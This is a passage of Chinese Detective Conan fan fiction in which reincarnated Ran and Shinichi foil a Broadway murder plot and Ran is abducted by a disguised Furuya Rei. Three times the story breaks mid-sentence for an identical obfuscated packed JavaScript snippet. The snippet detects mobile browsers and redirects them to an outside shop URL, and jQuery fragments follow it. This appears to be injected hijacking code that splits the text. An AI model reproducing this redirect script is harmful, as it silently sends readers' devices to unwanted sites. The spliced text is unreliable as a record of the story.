“我附议……等等、莎朗刚才是不是看了我们一眼?”
“……好像是诶。”
但是没关系,虽然莎朗和克丽丝母女在明面上不怎么来往,表现得像是关系很差的样子,但我们穿越来的都知道,她们俩其实就是同一个人,只要是夸、那夸谁都一样。
说话间、出演厄里斯的女演员忽然提到了最近剧团收到的奇怪礼物,莎朗解释说三天前剧团收到了一颗被喷漆喷成金色的苹果,上边还用动物的血液写了「献给最美丽的女性」,仿佛是《金苹果》故事的现实版。
紧接着,出演特洛伊王子的男主角也进到房间来,用简单两句话就成功安抚了所有女演员们的心情。我下意识挑了挑眉表示早已看透一切,没想到小动作还没结束,正对上莎朗的视线。
不知道是不是错觉,我总感觉她的唇角翘高了一点。
·
是在参观后台的途中。
走到一条头顶悬挂着演出服装的走廊时,我立刻注意到了斜前方立着一面大镜子。那是接下来音乐剧中用来布景的重要道具,同样也会被某位演员利用、实施自己在舞台上进行的杀人诡计。
那位演员故意损坏了镜子靠近边缘的一小部分,因为镜子「守护神」的特性,发现镜子破损的工作人员们只好瞒着演员们、偷偷进行修补。但剧中需要躲在镜子后、比原本的镜子矮一些、却比现在的镜子高出半头来的男主角,就不得不用上舞台装置奈落,在使用镜子的时候、踩在地板下的奈落里。而利用那个罕有演员知的奈落,就是犯人创造的身高差诡计。
我的青梅竹马显然也注意到了那面镜子,或许还想起了这里本应会发生的事故——
那位还未成为杀人犯的演员提前在这条走廊布下了陷阱,她会切断悬挂着盔甲的细线让盔甲坠落,以此使人心动摇,也算是为「将未来发生的杀人案伪装成是外来者犯案」做铺垫。
但她的衣服会不幸被指示牌勾住,在千钧一发之际,是原作的小兰义无反顾地扑向她、救下了她的命,自己还受了一点伤。
可看我青梅竹马的样子,他并不希望事态发展成那样。
苹果头少年难得表现出一点孩子气,拉住我的手腕一溜烟跑到了镜子前,而后回过头,目光灼灼地望向了人群中的某人——是饰演阿芙洛狄忒的演员萝丝,她就是那名「还未成为杀人犯的演员」。
他开口,听起来兴奋又天真:“这就是那面镜子吗?被剧团当作守护神的大镜子?”
我也将目光放到了萝丝身上,在与我对上视线之后,我注意到她的脚步停顿了一秒,而最终,她没敢在实施自己的计划、做危险的小动作。
眼看几人都走了过来,我的目光也落在了这面巨大的镜子上。
身后的莎朗肯定了新一刚才的问题,说就是这面镜子,可紧接着,她却问向了紧盯镜子一言不发的我:“兰,怎么了?”
!!!
莎朗竟然直接喊了我的名字!
不是姓氏也不是Angel(天使),而是兰!
强行咽下差点脱口的兴奋尖叫,我强撑镇定地缓缓开口:“听说被主人珍惜爱护的物件会生出灵性,在主人即将遇到灾厄或不幸的时候,会挺身而出代为承受,代价就是自己破碎损坏。”
我向镜子走近几步,仰头望向镜子顶部的边缘,我知道那里有着些微的裂痕。但走廊的光线相当昏暗,完全无法辨别……所以我打开了手腕上一表二用的手表型手电筒。
现在再说接下来的话,就显得底气十足了。
“——看起来,这面镜子确实有在好好守护着大家呢。”
我手腕上射出的光线正明晃晃地瞄着镜子上边缘的裂痕,所有人的目光都被吸引过去,惊叫声顿时响成一片。
·
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327296|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音乐剧的演出被迫中止了。
究其原因,是某位因杀人计划无法顺利执行而崩溃的女演员、徒手砸碎了重要的演出道具——指剧团的守护神大镜子,而镜子飞溅的碎片,严重伤到了她和她原本想要杀死的男主角的脸。
不、不止是她和男主角,其实受伤的还有当时距离镜子相当近的我。
……就很烦。
呼啸而来的救护车已经拉走了那两人,与有希子阿姨熟识的纽约警长也带队来到现场。而伤势不算重、只有挡在脸前的左手小臂有些许划伤的我,在接受了青梅竹马的简单包扎后,暂时留在剧院的休息室里,准备观望一下事态的后续发展再去医院。
可在我独自去自贩机买水的空档,却有个意想不到的人出现在我身边。
“兰,你的伤已经没事吗?”
我单手拎着塑料瓶,听见声音猛地抬起头:“莎朗!我还以为你已经走了!”
毕竟今晚她还要扮成银发杀人魔去诱杀赤井秀一,那应该是个麻烦且危险、需要做些前期准备的任务。
“没什么大碍,新一帮我处理了伤口。”我回答,“因为我经常受伤,新一已经对清创和包扎都熟练得像是专业人士了。”
虽然那是上辈子的事了。
她的目光便向下落在了我的小腿上:“那道伤痕看起来像是最近的。”
“啊、那是因为车祸。”我下意识往回缩了下腿,“被一辆疲劳驾驶的车刮伤了。”
是在两个月以前、二月七日的清晨,我委托了萩原研二开车,带新一和我一起去蹲守前夜通宵跟监的伊达警官和高木警官,并用一脚足球、精准地唤醒了即将夺走伊达警官性命、几乎睡着的某位疲劳驾驶的司机。
然而惊醒的司机却被吓得猛打方向盘,一头撞在了电线杠上——而因此起飞的侧视镜,精准地划过了我踢完球还没收回的小腿。
所以有时候我会觉得,从死神手里夺走业绩、就是要付出点代价。比如救下萩原间接救了松田那会儿住了院,变相救下景光那会儿住了院,救下班长之后又住了院……习惯成自然。
莎朗忽然向我走近一步,她原本就比我高不少,又踩着一点高跟,气场压得我瞬间开始心跳加速。
“你之前讲述那个「器物代为承灾」的传说,是你所相信的吗?”她问。
“我不信。”
大概是因为我的回答太过干脆,她微怔了一下,接着又问:“兰相信神明的存在吗?”
“很久很久以前相信过。”回答仍旧干脆,但在说完之后我犹豫了片刻,又修正了自己的答案,“不、其实现在也相信。”
我主动上前一步,心跳剧烈得几乎要跳出胸腔,激动又紧张。
“如果莎朗你能抱我一下,安抚我坐了那么久飞机赶来看剧、却没看上还受了伤的失落心情,那你就是我的神明。”
·
“新一,快来,你摸摸我的脸。”
“……你干嘛?”
“刚才这边这侧的脸颊贴过莎朗的胸。”我指了指自己的脸颊,一本正经,“总不能让福利都成了我的,你什么也没有。”
苹果头少年立刻红了脸,这下子看起来更像是一颗苹果:“喂!”
“开玩笑的。”我摆了摆没有受伤的手,“我还没有跟你道谢,新一你包扎的技术真是越发地出神入化。”
“你能少受一点伤就好了,不需要为这点小事道谢。”他先是撇了撇嘴,随即却望向我的眼睛,眼瞳的光芒比星芒更盛,“最初在研究所,是你庇护了因无法开发出能力而即将被处理的我,才让仅仅是「父亲」所长数十个克隆体之一的我,能够以人类的身份,自由地活到十五岁。”
“彼此彼此吧,”我笑着摇头,“是你把外边世界的一切带给我,才让我对未来诞生希望。”
没有我的庇佑,他会死。没有他的照料,我会精神崩溃。是这样互相依存着才能苟延残喘的关系。
所以,彼此就是对方的神明。
“所以你真的不摸一下吗?”
“不必了!!!”
8. 纽约魅影·三
去医院正式处理好伤口顺便开了退烧药,准备回酒店时已经临近零点,有希子阿姨没有与我们同行,而且去了警局录口供,所以最终还是发展成了原作那样——
雨幕,深夜,出租车被我指挥着停在了空无一人的小巷之中。
“我有三个问题。”帮我撑上伞的新一满脸都写着犹豫,“你的身体真的没问题吗?”
“我心里有数,这种程度还撑得住。”我比了个OK的手势给他,挥别紧张的出租车司机迈开脚步,“这样和你推的贝尔摩德一对一的机会可不常见,错过也太浪费了。”
“就像那年你硬是顶着四十度的高烧、深夜去电影院看剧场版首映?”
“因为我只申请到了那一个时段的外出许可,而纸片人是我的精神寄托。不过对现在的我而言,有一些人已经不再是单薄的纸片人了。”
在来到这个世界之后,他们成为了我的父母、老师、好友,将我对纸片人单方面的喜欢变成了双向的羁绊。
新一了然地接上了话:“但我单推的贝尔摩德和你单推的波本还是站在纸片人的金字塔尖,对吧?”
我点点头:“毕竟还没怎么跟他们接触过,说不定以后熟悉起来,他们也会从纸片人的领域跌落神坛,变成有点好看的普通人类。”
“他们也不属于普通人类的范畴吧……”
“那你看我俩属于普通人吗?”我笑嘻嘻地反问他,“第二个问题是什么?”
身旁的少年停下脚步,稍微挪开遮蔽视线的雨伞向旁边看去:“你是怎么确定就是这条巷子的?这异国他乡、我感觉刚才经过的几条路都很像。”
“你以为那些天我看纽约的实景地图是为了什么?制定旅游计划吗?”我笑着看向他,“这可是我用了整整一周时间才最终确定的答案。”
我指向斜前方的金属楼梯:“就是那栋楼,跟原作的画面一模一样,你要是走到外边的逃生楼梯上,一定要小心它的栏杆。第三个问题是什么?”
新一将伞柄递给我,看表情是已经做好了心理准备:“兰你对这段剧情有什么特别的期望吗?”
“没什么特别的,随你喜欢去做。”
在原作中,伪装成银发杀人魔、准备借此诱杀赤井秀一、却被反杀腹部中枪的贝尔摩德,原本躲在这栋楼中。结果被前来寻找被风吹走的手帕的新一所惊扰,接着在逃生楼梯上遇到了注意到异常、上来寻找新一的小兰。
她准备将人灭口、靠在栏杆上拧消.音器的时候,却因为栏杆老化而坠楼,但生命受到威胁的两人还是义无反顾地救下了她。
而现在既然提前知道她躲在这里,病弱的我就不会擅自踏入危险的区域。
即将孤身赶赴现场的,是在去年暑假、以「帝丹中学初中部空手道部主将」的身份,轻松杀穿所有同龄人、一举拿下全国大赛冠军的超高战力工藤新一。
顺便一提,他出道以来唯二尝过的败绩,是前边两年的全国大赛决赛,对手都是当时还没有「蹴击贵公子」称号的京极真。
……确实,三年级这年新一能拿到冠军,是因为高我们一个年级的京极真升了高中,与他不再是同一个赛区,但这并不能否定他的实力早已远超常人的事实。
由此,无论我的青梅竹马所面对的对手是京极真以外的任何人,我都会提前觉得对手输得不冤。
“去吧,”我郑重地拍了拍他的肩,目送他走向建筑物的入口,声音是掩藏不住的笑意,“好好享受。”
·
两分钟后,靠墙站着、等待一会儿偶遇长发版赤井秀一的我,望着突然从另一栋楼里蹿出来、眨眼之间就冲到我面前来的银发杀人魔陷入沉思。
我是谁,我在哪,我是应该掏手表麻醉针、还是扭腰带踢足球?
可因发烧而反应迟缓的身体,没能跟大脑一起做出反应。雨伞因为冲击坠落在地,锐利的刀尖抵在我的胸前,银发男人的脸从近距离看扭曲又丑陋,带着远超我曾在命案现场感受过的强烈杀气,让我本就疲惫不堪的大脑嗡鸣震颤起来。
我整个人紧绷着、本能地向后退去,却在半步之间贴上了墙壁,已然退无可退。
但我其实心态上不算太紧张,也没觉得多么恐惧。在最初的反应不及过后,我强忍着脑袋越发剧烈的抽痛,在演出「强撑镇定」、开口的同时,右手也悄无声息地扣在了左手腕的麻醉手表上。
“你是想要钱吗?我、我拿给你……”声音隐约发颤。
这个人是贝尔摩德吗?还是说、是真正的杀人魔?
如果是前者,那我要做的是拖延时间,想办法让旁边建筑物里的新一发现异常、赶过来救我。但如果是后者,那我就要根据情况来做出选择,究竟是使用麻醉针一招制敌、还是用脚力增强鞋一招送他进医院。
当然,按照原作的发展,赤井秀一会带着FBI的队员经过这条小巷,给他个增加业绩的机会也未尝不可。
而在几秒之后,对面的杀人魔眯起眼睛,哑着嗓子开口了——
“日本人?游客?你没有听说过我?”
我的脑中缓缓升起一个问号。
倒不是因为他提出的问题,作为小有名气的杀人魔,在遇到将他当做一般抢劫犯的目标时,想要确认自己的知名度、展现自己作为连续杀人犯要高抢劫犯一等、以及激发目标的恐惧都是常规操作。
令我在意到能够忽略头痛的、是他的声音。
虽然他哑着嗓子——我感觉多半是故意的,而且说的是英语——不是转化成片假名那种日式英语,但我还是轻易就分辨出、并十分确认,面前这人跟降谷零是一个声优。
不,虽然说原作动画里曾经出现过几个跟降谷零同声优的角色,比如说早期原创里一边观星一边杀人的东大高材生秋本广志,以及剧场版里苦恋若狭老师声优配音的美女同学的描边战神伊东末彦。但在这里,在「工藤新一纽约事件」里,并不存在另一个!
我记忆宫殿里储存的影像听得清清楚楚,贝尔摩德扮演的银发杀人魔、根本不是这个声音!
“你是……难道、难道你是、那个以年轻女性为目标的日本籍杀人魔?!”
他就是降谷零——或者说、是黑衣组织的波本!
他会扮成银发杀人魔出现在这里,与贝尔摩德脱不了关系。但如果他的目标是赤井秀一,那他没理由在FBI还在附近晃悠的此刻,特意现身跑来挟持我。这么说来……他的目标是我?
因为专注于夏威夷的特训、而一度被我抛在脑后的《事件簿》,在此刻又重新回到我的视线中。
如果滑雪场事件的藤泽朝夏老师是贝尔摩德,如果贝尔摩德曾看过《事件簿》、并注意到那些关键词正逐渐对应上「写下它们时还未发生过的事件」,如果贝尔摩德通过关键词「天使」、「Angel」、「地狱」联想到了百老汇剧场里、被我和新一暗中阻止、因而没能发生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327297|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命案,如果……
那她也许猜到了我和我的青梅竹马会出现在这里。
“这里可不是什么谈话的好地方。”
哑着嗓子的男人瞥了一眼小巷的入口,显然他很清楚,附近聚集着不少FBI探员,而相当难应付的「银色子弹」赤井秀一也在其中,他不能在这里浪费时间。
男人半侧过身,刻意让我看见他后腰插着的手.枪,大概是示意我、即便我试图逃走、他也有远程武器夺取我的性命。接着他将指着我胸前的刀拿远,微微侧头示意小巷的另一头:“往这边走,别出声,不然你就只能死在这种地方了。”
头发和上衣已经完全被雨水打湿了,鞋也进了一点水,头又痛身上又冷,是我迫切想要进入温暖的室内洗澡的状态。
现在我跟对面的人之间的距离,应该足够我在被刀刺中之前,举起麻醉手表、并用在夏威夷特训过的甩狙(侧方向起跳并瞄准发射)放倒他。
但是,既然对手大概率是波本,那我没有任何拒绝配合的理由。
虽然珍爱生命,但老实说,我和我的青梅竹马多少都有些冒险精神。如果我们穿越的世界不是《名侦探柯南》而是《哈利波特》,那我们绝对会被一起分进格兰芬多。
反正我的身上带着可以装有发信器的侦探徽章——虽然还只是阿笠博士的试做版,但放在我行李箱里的试做版追踪眼镜,在大多数时候都能成功连上信号、找到徽章的位置。
“……我知道了。”
虽然身体的状态不太妙,但应该还撑得住。就再稍微忍耐一下,看看波本、也看看贝尔摩德想要做什么吧。
在迈开脚步之前,我下意识向一旁的废弃建筑物望了一眼,带着点向青梅竹马说再见的意思。可剧烈的眩晕感骤然袭来,我的腿一软,整个人就向水里栽了下去。
……太糟了。
半张脸都浸在雨水里、意识逐渐消弭的我痛心疾首地在心里呐喊。
到了这一步,我竟然还要走原作的兰走过的路——指在银发杀人魔面前因为发烧而陷入昏迷。
救命啊,新一,这不是玩梗也不是玩笑……我后悔了,我刚才就应该甩狙放倒他的……
·
现在我醒了。
头还痛得厉害,也提不起什么力气,平躺着、睁开眼也看不太清东西。可以闻到一点潮湿发霉的味道,像是在地下室。
也对,无论那个银发杀人魔是谁,他都没有理由放弃自己的原本的目的、将我送去医院。
头发已经干了,额头上有些温热的触感,像是被体温暖热的退烧贴。后脑枕着的不是冰冷的地面,也不是枕头,像是……某个人的腿。
还有就是,抬起右手的时候,我听见了金属链条碰撞的声音……
“你醒了?你好像在发烧,要喝点水吗?”
头顶上方传来了杀人魔的声音。
不对,是降谷零的声音,比起刚才哑着嗓子的版本,现在的声音更加倾向于在波洛咖啡厅打工的帅气店员安室透,而且他说的是日语。
“你别怕,绑架你的人刚才离开了,我们暂时是安全的。”他又说,“我本来是想救你的,结果自己也被困在了这里,抱歉、没能帮上忙。”
我艰难地抬起手,揉了揉眼睛。眯着眼睛去看,原本的色块终于渐渐增加像素、变成了人的轮廓……是个金发黑皮的男人。
……是降谷零。
是降谷零!
9. 纽约魅影·四
望着突然倒在地上的少女,银发杀人魔——降谷零伪装版——刚开始并没有做出反应。以他扮演这个角色的设定来看,不可能做出扶住昏倒的女孩这种温柔地举动,而且他并不确定这是否是女孩计划从他手中逃脱的策略。
毕竟在他所掌握的信息中,这名协助警方破获数个案件的十五岁少女,拥有并不输给成年人的智慧和勇气,还有点玄学似的、提前发现案件并防患于未然的特质——大概也是因此才会被贝尔摩德盯上。
·
最初接到贝尔摩德的电话,被她委托来纽约、协助她完成某个任务时,降谷零、或者说波本,一度认为目标是、且仅是曾潜入组织但暴露身份狼狈逃走的莱伊。过去他曾与莱伊一起出过几次任务,对他的行事习惯还算熟悉。
可没想到,在带上伪装成银发杀人魔的面具之后,贝尔摩德却给了他一张照片。交待的任务内容则是在合照上的任何一个人落单时,以杀人魔的身份将人挟持,再观望对方是否能够独自逃脱、以及如何逃脱。
如果那张照片上的人不是两名中学生的话,这种罕有的、意义不明的任务,简直像是加入组织的考核。
特别是他还对这两人有着印象——
在大约六年前、他刚从警校毕业、被特别选拔进公安后不久,那时候他还没有被上头要求完全与亲友断绝联系,所以在听说同期好友萩原研二因伤入院之后,他做了伪装偷偷去探望。接着就从萩原口中,听说了某个小学女生用足球踢飞炸弹的丰功伟绩。
虽然前情不明,但小姑娘的举动总归是救下了附近所有人的命,所以他问了女孩的名字,买了花、遮起脸、悄悄去探望了一下,并与当时身在病房的小男孩简短地交流了几句话。
他本以为那之后再不会与那样的小孩子有所交集——特别是在他成为卧底以后,可那两个孩子的名字却在此后、接连从各个方向跳进他的视线中。
有时候是新闻报导——侦探毛利兰看穿案件真相、助手工藤新一勇敢制服歹徒,有时候是警视厅内部报告——案件在少年侦探的协助下得以快速解决、但因案件特殊性及危险性不予公开,有时候则是同为卧底的挚友口中——他挚友在警视厅公安部的直属上司榊千早跟女孩走得很近、俨然有种培养接班人的意思。
而现在,他所卧底的组织也盯上了他们。
不过好在迄今为止这还是贝尔摩德的私自行动,似乎只是她个人对他们感兴趣。而在他所进行的挟持任务完成之后,贝尔摩德又会做什么决定……
组织从不在乎杀死的对象的年纪或履历,但他作为警察官——即便是卧底警察,也不能放任未来可期的孩子死于非命或被迫误入歧途。
话是这么说,到现在他还是觉得不可思议,为什么这两个十几岁的孩子,会如贝尔摩德所预测的那样,在深夜来到这条无人的小巷。但眼看两人分开行动,这显然是他完成任务的机会。
贝尔摩德倒是也提醒过他,如果落单到他面前的人是那个男孩,让他绝对不要大意,尽可能不要近身。他当然知道,毕竟那是全国范围内、十五岁以下、空手道最强的少年,他虽然练过拳击、也练过逮捕术,却没有绝对的自信将对方压制。
虽说不知道贝尔摩德那边、一个人能不能应付得来,但他这边,看来是要稍微改变计划行事了。
在被废弃大楼里的工藤新一、以及巷口不远处徘徊的FBI注意到之前,降谷零迅速将昏迷的少女转移到了附近提前准备好的地下室。
他原本要扮演的是穷凶极恶的连续杀人犯,可当目标从冷静镇定的少女侦探,变成了高烧又受了外伤的病弱少女,他觉得还是不要再给对方压迫感比较好。不如就解除伪装,以同伴的身份协助她「逃离」。
只不过刚才扮演杀人魔的时候,他没用变声器之类的道具辅助,倒是做了伪装,但……如果真被她注意到,那他就只好装傻混过去了。
·
在为少女擦干头发、尽可能拧干衣物之后,降谷零卸下伪装用的面具,换下衣物,做好了应对醒来后少女的全部前期准备。
然后就是确认女孩的随身物品,他必须取走她的手机。让他庆幸的是,女孩才刚去过医院,退烧药和退烧贴都在她携带的挎包最上层。
虽然药暂时无法让她吃下,但还好有退烧贴,应该能让她好受一些。
大概是因为看过天气预报、知道今天有雨,女孩不仅背了防水的挎包,还将大多数东西都分别放在了防水袋里。
手机,钱包,护照,像是扭蛋扭出的玩具徽章,与她手腕上戴的一模一样的另一支手表,莎朗的签名板、还带着唇印……还有一个手账本。
虽然从外表看上去、那是个手账本,然而翻开之后、却感觉更像是草稿本。字迹潦草至极、很难分辨,跟对本人的印象完全不符。
但他还是通过一张类似时间线的草稿图,勉强分辨出这是一份小说大纲。
大概觉得是主角的名字写起来麻烦,所有他觉得应该是主角名字的地方,都用五角星代替,各种英语词汇和罗马音混着用,片假名的缩写完全随心所欲,复杂的汉字也用同音的简单汉字代替……简直像是密码本。
不过作为掌握了破译密码技能的资深卧底,降谷零只用了十分钟,就适应了这潦草的字迹和简洁的记述方式,并在辨认到几个熟悉的名字后恍然大悟——
原来这是《ZERO~公安警察安室凛事件簿》的同人文。
·
降谷零第一次接触《ZERO》是在刚上大学不久,他跟挚友诸伏景光偶然在书店门口的宣传海报上、看到了这本像是轻小说的书的宣传介绍。
当时他的挚友调侃似的说着「看到书名、就觉得应该买一本送给zero」,然后就真的买了一本、在他生日的时候送给了他。
不过小说的内容倒是跟他想象中的不一样、意外得有趣,当时书里还附着奖品是双人旅券的抽奖活动卡,在将抽奖卡邮寄给编辑部时,卡上要填写至少一个「想要询问作者的问题」。
他当时只是顺手一写,问题是「真的有ZERO这个组织存在吗」,而一周之后,在抽奖活动的报名还没到截止日期的时候,他就收到了两张温泉旅馆的旅券——这像是作者的暗箱操作,同时附着来自作者安室凛的回信。
对方说这个组织真的存在,成员都是暗中保护着民众安全的无名英雄,他未来些许也能成为其中一员。
当时他也没在意这种像是应对小孩子的公式化回答,只觉得她的字有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327298|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪异,在回复信件向对方表达感谢后,就拉着挚友高高兴兴去享受免费的温泉旅行,结果回来后不久又收到了她的回信。
那之后、与安室凛的信件往来就正式开始了。
大概是她第三次回信的时候,他才知晓了她字迹的「怪异」从何而来——「我的字太潦草你可能看不懂,这是照着打印件描的」。
从聊剧情、聊人设,到逐渐涉及生活琐事,那位对他格外友善且重视的作者给他回信从不会超过一周,后来甚至诞生很多特意为他想到的梗所写的短篇故事——那是独属于他的故事,事后也没有发表在任何杂志上。
她还说他是她唯一的笔友——不是有着界限的「作者与读者」,而是关系平等的笔友。
在那些字迹逐渐趋于正常、不再像是临摹打印件、看得出是在努力认真写的信件中,他能感觉到,对面是位像小说里的「安室凛」一样的年轻女性,但信件里的用词远比小说里可爱,像是「安室凛」只对亲密和信赖的人才会展露的一面。
参照着小说里的插画,他甚至能想象到「安室凛」坐在他对面、对他说信件里那些话的模样。
……简直像是恋爱。
但他也不知道,他的「恋慕对象」究竟是哪个「安室凛」。
逐渐察觉到他的变化——特别是他每周总有那么两天急着回家确认有没有来信——的好友很快看透了一切,开始摆出一副过来人的样子揶揄「Zero也到了这个年纪啊」。明明对方根本不是所谓的「过来人」,但他还是在开口反驳之前,先弯了唇角。
其实大学快要毕业的时候,他提过一次能不能与对方见面。安室凛的收信地址一直是编辑部,但她在信里提过自己住在东京,与他就读的大学并不算很远——其实无论远不远,他都十分愿意为这场见面奔赴。
可对方却直白地回复他「还不是时候」。
而那之后不久,他成为警校生、成为警察官,再如她说过的那样、成为「ZERO」的一员之后,似乎就再没有与她见面的机会了。
虽然不再与安室凛有书信往来,但每年出版的新书他都有买来看,也一直关注着有关作者真实身份的消息——然而很遗憾,直到今年、安室凛以作家身份出道出道第十年,她都从未在任何公开场合露过面。
但总有一天会见到的吧,即便那只会是一场单方面的「奔现」。
·
女孩的挎包早已收拾回原样,最后确认了一次贝尔摩德没有发来消息,降谷零将手机与女孩的手机藏在一处,锁好地下室的门,接着将锁链连接的手铐绕过房间里固定的管道、两边分别扣在自己和女孩的手腕上。
准备工作彻底完成,现在,他只要等她醒来,再以「试图见义勇为但惨遭反杀、结果同样沦为人质」的友好路人身份,成为她境遇一致的同伴。
那么,她会如何做出反应呢——
·
正低头俯视着我的人是降谷零!
我一个鲤鱼打挺坐起来,脑袋还无法承受这样剧烈的动作、疼得我眼前一黑,眼角涌出不少泪水,但手上摸索的动作却没停——还好,手表还在,优势在我。
那么……
吸取刚才犹豫后败北的经验,管他是谁,先狙再说!
10. 纽约魅影·五
我坐在地上缓了足有三分钟,才终于勉强适应此刻自己的身体情况。
脑袋剧痛、头重脚轻、全身无力,但视线总算是勉强恢复了正常状态。虽然说没力气,但总归还是能动弹的,就比如说刚才顺利盲狙了降谷零。
当时我还有点担心他会不会像原作里的琴酒那样、为了抵抗困意干脆利落地给自己来一枪。但现在看来,他不仅没有对麻醉针的抗药性,身边也没有武器。
从先前的「银发杀人魔」再联想到他刚才的话,看样子他更换了应对我的策略,亦或是他本来就计划这么操作?总之,他现在应该是想扮演我的同伴……那也要看我是否真的需要他这个「同伴」。
首先是要借着头顶不算明亮的灯、确认一下当前可用的道具。右手腕被手铐与降谷零铐在一起,活动范围有限,不过房间本身就不大。我的挎包在视线范围内,虽然伸手够不到,但伸脚还是能够勾着背带、拉到身边来。
包明显被翻动过,上层的从医院买来的药已经被拆封,额头上的退烧贴就出自这里。手臂上的纱布似乎也重新包扎过,技术并不比我的青梅竹马差。
我换了新的退烧贴,继续往下翻去。
手机……果然不见了。
但侦探徽章还在,放在防水袋里,看样子并没有暴露自己身为通讯工具和发信器的真正身份。
我瞟了一眼睡脸安详的金发男人,取出徽章、按了几下联络用的按钮,接着摘下左手腕已经发射过麻醉针的手表,换上了包里崭新的备用品。
鞋还有点湿漉漉的,不过并不影响脚力增强的功能。腰带发射足球的开关也还正常,两条都没有问题……差点都忘了,腰带开关附近有个小机关,可以抽出一根铁丝——专门用来撬锁的那种。
因为身体不适、开锁的手有点抖,但在侦探徽章有消息回应之前,我还是艰难地撬开了手铐,并在一瞬的犹豫后,将手铐转而铐在了降谷零的另一只手上。
嗯……这完全是安全起见嘛,等一会儿他醒了之后,我们谈完话,我还可以再帮他撬开,或者我觉得他自己也能轻松撬开。
扣在胸前的徽章「滴」了一声,是新一注意到了我的联络。我忙按下按钮接通,同时往后挪了一点,软软地靠在了墙上。
而少年焦急的声音立刻从徽章里传了出来:“兰!你现在哪里?安全吗?”
“还算是安全吧。”我伸腿轻轻踢了踢旁边的降谷零,没有收到任何反应,“我跟我未来的丈夫大人在一起。”
对面诡异地沉默了几秒,才再出声,应该是明白降谷零虽然跟我在一起、但听不见我说话:“你把人怎么了?”
“用麻醉针放倒了,其他的什么都还没做——你应该问我被他怎么了,我现在可是发烧又淋雨的病弱美少女。你那边解决好了吗?我的手帕呢?”最后这个问题是代指贝尔摩德。
“算是解决好了吧。”少年简洁明了地解释道,“我在楼里发现了银发杀人魔自杀的遗体,以及一名疑似被他开枪射伤的年轻女性。所以我报了警,叫了救护车,并陪同这名女性一起来了医院。”
……哈?这怎么跟我想象中完全不一样呢?
“这是你写的剧本,还是贝尔摩德写的剧本?”
那名所谓「被杀人魔开枪射伤的年轻女性」,怎么想都只会是贝尔摩德啊!
“显然是她写的,总觉得她知道我们会去那里,似乎也知道我看穿了她的身份——你那边呢?救护车来的时候你已经不见了,我以为你是故意避开的。”新一说,“给你打了电话你也没接,我就先到医院来了。”
我撇撇嘴:“唔,其实我是被绑架了。”
“哈?那现在是什么情况,你自己应付得来吗?”
“放心好啦,虽然我烧得已经快要意识模糊,但姑且能够应付。”
“……真的没问题?我还是去救你比较好吧?”
“但我也不知道自己在哪里啊,这里应该是个地下室,手机又被拿走了。”说着我又瞥了一眼身旁熟睡的人,唇角翘了起来,“不过绑架犯是我未来的丈夫大人,我想不会有问题的,新一你还是专注你那边的情况比较好。”
毕竟,即便银发杀人魔的遗体被发现,贝尔摩德的枪伤还是会引来正在追查杀人魔的FBI,赤井秀一可没那么好应付。虽然我大概能猜到我的青梅竹马会如何抉择,但首先贝尔摩德要按套路出牌才行。
“我明白了,随时用徽章联系。”
切断联络,我起身挪向睡着的金发男人,盯了他的脸半晌之后,目光逐渐下移,期待的搓了搓手手。
不,我只是为了确认他身上有没有带着什么对我有威胁的武器或道具而已,顺便找找看我的手机,才不是想趁人之危非礼他……真的,我这么虚弱,怎么可能有坏心思呢。
好吧,他身上什么也没有。
……也不是什么也没有,至少胸肌腹肌还是有的。
·
降谷零醒来的时候,脑袋正枕在我的腿上。与我刚醒来的时候场面相似,只是两人位置交换……也许猎人与猎物的身份也做了交换?
在等待他醒来的时间里,我喝了退烧药,目前状态好了不少,但脸色应该仍不好看。
大概是意识到情况与自己的计划有所偏离,金发男人的身体有一瞬的紧绷。但很快就放松下来,并在注意到身旁的人仍旧是我之后,进入了表演模式。
“我这是怎么了?”
降谷零装无辜确实很有一手,帅气的小黑脸写满茫然无措,可爱得我止不住在心里抽气。
但我也不遑多让,作为传说中的女演员藤峰有希子亲自传授过演技的二弟子——大弟子是新一,我单纯无辜地摇了摇头,无比诚恳地回答:“我也不知道,你是不是平常精神压力太大、或者太累了?刚才突然就倒下去睡着了。”
仍旧枕在我腿上的人沉默了几秒,最终决定放弃挣扎。他像是才意识到自己的境遇,忙从我腿上直起身来,连声向我道着歉。
接着手腕一拽:“诶?手铐……”
我耸耸肩:“我刚才撬开了。”
等得太无聊,我就把扣在他手腕上的手铐全都撬开了。
男人立刻露出那种商业互吹时候常用的惊讶表情,瞪圆了眼睛甚是可爱:“好厉害,你竟然会撬锁。”
“唔,我爸爸在夏威夷教我的。”
“诶、诶?”
“开玩笑的,其实是我爸爸在家里教我的,他没去过夏威夷。我爸爸是现役的警察官,从小就教授
